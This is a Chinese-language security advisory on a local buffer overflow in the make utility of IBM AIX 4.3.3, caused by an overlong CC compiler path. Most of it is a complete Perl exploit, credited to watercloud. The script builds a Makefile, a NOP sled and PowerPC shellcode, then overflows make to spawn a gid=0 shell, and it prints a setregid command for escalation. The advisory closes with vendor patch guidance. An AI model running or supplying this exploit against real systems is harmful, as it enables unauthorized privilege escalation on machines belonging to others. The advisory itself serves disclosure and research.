AIX Make CC路径本地缓冲区溢出漏洞受影响系统:
IBM AIX 4.3.3
描述:
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BUGTRAQ ID: 9903
IBM AIX是一款商业性质UNIX操作系统。
AIX make读取CC编译器路径时缺少充分边界检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击,可以root组权限在系统上执行任意指令。
提交超长CC编译器路径参数给make执行,可导致缓冲区溢出,精心构建提交数据可能以root组权限在系统上执行任意指令。
<*来源:watercloud (watercloud@xfocus.org)
*>
测试方法:
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警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
watercloud (watercloud@xfocus.org)提供了如下测试方法:
#!/usr/bin/perl
# FileName: x_make_aix433_limited.pl
# Exploit /usr/local/bin/make of Aix4.3.3 to get a gid=0 shell.
# Tested on low version of Aix4.3.3.
# Author : watercloud@xfocus.org
# Site : www.xfocus.org (EN) / www.xfocus.net (CN)
# Date : 2003-5-30
# Announce: use as your owner risk!
$CMD="/usr/local/bin/make";
$_=`/usr/bin/oslevel`;
$XID="\x03";
@GID_LIST=(248,247);
print "\n\nExploit $CMD for Aix 4.3.3 to get gid=0 shell.\n";
print "From: [ www.xfocus.org 2003-5-30 ].\n\n";
print "Note :use this command to get gid=0 after egid=0 :\n";
print "/usr/bin/syscall setregid 0 0 \\; execve '/bin/sh'\n";
$str="k:k.c\n\t\${CC} k.c\n\t";
open mfd,">Makefile" or die "open file Makefile for write error!\n";
open kfd,">k.c" or die "open file .k.c for write error!\n";
print mfd $str, print kfd $str;
close mfd, close kfd;
$NOP="\x7c\xa5\x2a\x79"x800;
%ENV=();
foreach $GID ( @GID_LIST) {
$ENV{CCC}=$NOP.&getshell($XID,chr($GID));
system $CMD ,"CC="."\x2f\xf2\x2b\x40"x300;
}
unlink "Makefile","k.c";
#sub
sub getshell($XID,$GID) {
my $SHELL,($XID,$GID)=@_;
$SHELL="\x7e\x94\xa2\x79\x7e\x84\xa3\x78\x40\x82\xff\xfd";
$SHELL.="\x7e\xa8\x02\xa6\x3a\xb5\x01\x40\x88\x55\xfe\xe0";
$SHELL.="\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6";
$SHELL.="\x4c\xc6\x33\x42\x44\xff\xff\x02$GID$XID\xff\xff";
$SHELL.="\x38\x75\xff\x04\x38\x95\xff\x0c\x7e\x85\xa3\x78";
$SHELL.="\x90\x75\xff\x0c\x92\x95\xff\x10\x88\x55\xfe\xe1";
$SHELL.="\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh\xff";
return $SHELL;
}
#EOF
建议:
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厂商补丁:
IBM
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www-912.ibm.com/eserver/support/fixes/